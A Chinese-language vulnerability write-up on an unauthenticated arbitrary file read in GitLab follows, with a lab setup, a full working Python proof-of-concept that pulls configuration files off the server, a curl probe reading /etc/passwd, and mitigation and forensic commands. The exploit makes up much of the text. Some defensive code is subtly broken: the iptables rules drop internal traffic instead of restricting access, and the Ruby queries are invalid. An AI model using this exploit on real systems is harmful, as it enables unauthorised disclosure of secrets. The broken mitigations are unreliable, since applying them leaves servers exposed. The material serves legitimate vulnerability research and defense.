外部请求 → Nginx（TLS 终止、分流）→ GitLab Workhorse（Go 反代，拦截上传流）→ GitLab Rails（Ruby，业务逻辑）→ 文件系统

路由匹配 → 认证 → 授权 → 业务逻辑 → 文件读写

路由匹配 → 处理上传元数据（读取本地文件） → 查找项目 → 认证 → 授权

① POST /api/v4/projects/{随机9位ID}/repository/%66iles/x
   Body: file=&file.path=/目标绝对路径&file.size=1
        ↓
② Workhorse 路由匹配失败 → 未识别为上传路由 → 跳过上传处理
        ↓
③ Rails URL 解码 %66iles → files → 分派至 Repository Files API
        ↓
④ 上传元数据被处理（认证前）→ 读取 file.path 指定本地文件
   文件内容交由 Rack::Utils.parse_nested_query 解析
        ↓
⑤ 文件中含畸形百分号转义（如 %Y）→ 抛 InvalidParameterError
   异常message 反射出错的 token（即文件字节切片）
        ↓
⑥ HTTP 400 响应体中携带目标文件内容

磁盘字节 → Rack 解析器 token → 异常 message → JSON 响应 → 攻击者

POST /api/v4/projects/{id}/repository/commits/

services:
  web:
    image: vulhub/gitlab:19.3.1
    hostname: gitlab.example.com
    shm_size: \"256m\"
    ports:
      - \"8080:80\"
      - \"10022:22\"
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://gitlab.example.com'
        gitlab_rails['gitlab_shell_ssh_port'] = 10022
        gitlab_rails['initial_root_password'] = 'vulhub123456'
        letsencrypt['enable'] = false

git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2026-85706
docker compose up -d

# 默认读取 gitlab.yml
python3 poc.py http://your-ip:8080

# 输出到文件（stdout 仅含泄露字节，进度信息走 stderr）
python3 poc.py http://your-ip:8080 > gitlab.yml

# 指定任意本地路径
python3 poc.py http://your-ip:8080 -f /opt/gitlab/embedded/service/gitlab-rails/config/routes.rb

#!/usr/bin/env python3
\"\"\"
CVE-2026-85706 - GitLab Unauthenticated Arbitrary Local File Read

An encoded character in the Repository Files API route
(``/repository/%66iles/x``) prevents GitLab Workhorse from recognizing the
request as an upload, while GitLab Rails decodes the path and dispatches it to
the Files API. The body-upload helper reads whatever local path the attacker
puts in the ``file.path`` parameter before looking up the project or
authenticating the request. The project id in the URL therefore does not need
to identify a real project.

The file is then handed to ``Rack::Utils.parse_nested_query``. If the bytes
contain what looks like a malformed percent-escape (e.g. ``%Y``), Rack raises an
``InvalidParameterError`` whose message reflects the offending token back to the
attacker. That reflected token is a slice of the target file, which is how file
content leaks out in the HTTP 400 response.

Because the leak is a reflected parse error, how much of a file is disclosed
depends on the file's own bytes: the leaked slice runs from a ``&``/``;``/``=``
delimiter up to the first malformed ``%`` sequence. Files that parse cleanly are
still opened and read before authorization, but their content is not echoed
back. The Files API then continues to later request validation. ``gitlab.yml``
is a reliable demo target because the stock Omnibus image generates it with
date-format directives such as ``%Y`` that trip the parser.

Usage:
    python3 poc.py http://your-ip:8080
    python3 poc.py http://your-ip:8080 -f /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
    python3 poc.py http://your-ip:8080 -f /path/to/file > loot.txt
\"\"\"

import argparse
import json
import secrets
import sys
import urllib.error
import urllib.parse
import urllib.request

DEFAULT_FILE = \"/var/opt/gitlab/gitlab-rails/etc/gitlab.yml\"

# Marker that precedes the reflected file slice in the Rack error message.
LEAK_MARKER = \"invalid %-encoding (\"

def log(message):
    \"\"\"Write progress to stderr so stdout stays clean for the leaked bytes.\"\"\"
    print(message, file=sys.stderr)

def request(url, data=None):
    headers = {}
    if data is not None:
        headers[\"Content-Type\"] = \"application/x-www-form-urlencoded\"

    req = urllib.request.Request(url, data=data, headers=headers)
    try:
        with urllib.request.urlopen(req, timeout=20) as response:
            return response.status, response.read().decode(\"utf-8\", errors=\"replace\")
    except urllib.error.HTTPError as exc:
        return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")
    except urllib.error.URLError as exc:
        log(f\"[-] Cannot reach {url}: {exc.reason}\")
        raise SystemExit(1)

def read_file(base_url, project_id, remote_path):
    \"\"\"Ask GitLab Rails to read remote_path and return (status, message, leaked).\"\"\"
    form = urllib.parse.urlencode(
        {
            \"file\": \"\",
            \"file.path\": remote_path,
            \"file.size\": \"1\",
            \"Content-Type\": \"application/x-www-form-urlencoded\",
        }
    ).encode()

    # Workhorse sees the encoded segment and misses its upload route, whereas
    # Rails decodes \"%66iles\" and dispatches to the Repository Files API. The
    # upload metadata is consumed before this placeholder project is resolved.
    target = f\"{base_url}/api/v4/projects/{project_id}/repository/%66iles/x\"
    status, body = request(target, form)

    message = body
    try:
        response = json.loads(body)
        if isinstance(response, dict) and isinstance(response.get(\"message\"), str):
            message = response[\"message\"]
    except json.JSONDecodeError:
        pass

    leaked = None
    marker = message.find(LEAK_MARKER)
    if marker != -1:
        start = marker + len(LEAK_MARKER)
        end = message.rfind(\")\")
        leaked = message[start:end] if end > start else message[start:]

    return status, message, leaked

def main():
    parser = argparse.ArgumentParser(
        description=\"CVE-2026-85706 unauthenticated arbitrary file read for GitLab.\",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            \"The disclosed content is a reflected Rack parse error, so a file is\
\"
            \"only echoed back when its bytes contain a malformed %-escape sequence.\"
        ),
    )
    parser.add_argument(
        \"target\",
        help=\"Base URL of the GitLab instance, e.g. http://127.0.0.1:8080\",
    )
    parser.add_argument(
        \"-f\",
        \"--file\",
        default=DEFAULT_FILE,
        help=f\"Remote file path to read (default: {DEFAULT_FILE})\",
    )
    args = parser.parse_args()

    base_url = args.target.rstrip(\"/\")
    project_id = secrets.randbelow(900_000_000) + 100_000_000
    log(f\"[*] Using random project-id placeholder: {project_id}\")
    log(f\"[*] Reading remote file: {args.file}\")
    status, message, leaked = read_file(base_url, project_id, args.file)

    if leaked is not None:
        log(f\"[+] File disclosed via reflected parse error (HTTP {status}). Content on stdout:\")
        # Only the recovered file bytes go to stdout so output can be piped/saved.
        sys.stdout.write(leaked)
        if not leaked.endswith(\"\
\"):
            sys.stdout.write(\"\
\")
        return 0

    if status == 401 or \"branch is required\" in message:
        log(\"[-] The file was read before authorization but parsed cleanly, so no bytes were reflected.\")
        log(\"    Try a file containing malformed %-escapes (e.g. the default gitlab.yml).\")
        return 3

    if \"local file not present\" in message:
        log(f\"[-] The file does not exist on the server: {args.file}\")
        return 2

    if status == 500:
        log(f\"[-] HTTP 500: the path is likely unreadable (permission denied) or is a directory: {args.file}\")
        return 4

    log(f\"[-] Unexpected response (HTTP {status}): {message}\")
    return 5

if __name__ == \"__main__\":
    raise SystemExit(main())

# Omnibus 部署
sudo apt-get update
sudo apt-get install gitlab-ce=19.3.2-ce.0
sudo gitlab-ctl reconfigure
sudo gitlab-ctl restart

# Docker 部署
docker pull gitlab/gitlab-ce:19.3.2-ce.0
docker compose down && docker compose up -d

curl -s -o /dev/null -w \"%{http_code}\" \\
  -X POST \"http://target/api/v4/projects/123456789/repository/%66iles/x\" \\
  -H \"Content-Type: application/x-www-form-urlencoded\" \\
  --data \"file=&file.path=/etc/passwd&file.size=1\"

server {
    location / {
        if ($uri ~* \"%[0-9a-fA-F]{2}\") {
            return 403;
        }
        proxy_pass http://gitlab_upstream;
    }
}

if ($request_body ~* \"%[^0-9A-Fa-f%]\") {
    return 403;
}

# 仅允许内网访问 GitLab HTTP 服务
iptables -I INPUT -p tcp --dport 80 -s 10.0.0.0/8 -j ACCEPT
iptables -I INPUT -p tcp --dport 80 -s 10.0.0.0/8 -j DROP

# 访问日志中的编码路径特征
sudo grep -E \"repository/%[0-9A-Fa-f]{2}\" /var/log/gitlab/nginx/gitlab_access.log | tail -100

# Rails 日志中的上传元数据
sudo grep -E \"repository/(files|commits)/\" /var/log/gitlab/gitlab-rails/production.log \\
  | grep -i \"file.path\" | tail -100

# 敏感文件的访问时间
sudo stat /etc/gitlab/gitlab-secrets.json
sudo find /etc/gitlab /var/opt/gitlab -name \"*.yml\" -newermt \"-30 days\" -ls

# 新增的 Token / CI 任务 / SSH Key / Webhook
sudo gitlab-rails runner \"puts PersonalAccessToken.where(created_at > 30.days.ago).pluck(:name, :user_id)\"
sudo gitlab-rails runner \"puts Ci::Build.where(created_at > 30.days.ago).pluck(:id, :project_id, :user_id)\"
sudo gitlab-rails runner \"puts SSHKey.where(created_at > 30.days.ago).pluck(:id, :user_id, :fingerprint)\"
sudo gitlab-rails runner \"puts WebHook.where(created_at > 30.days.ago).pluck(:id, :project_id, :url)\"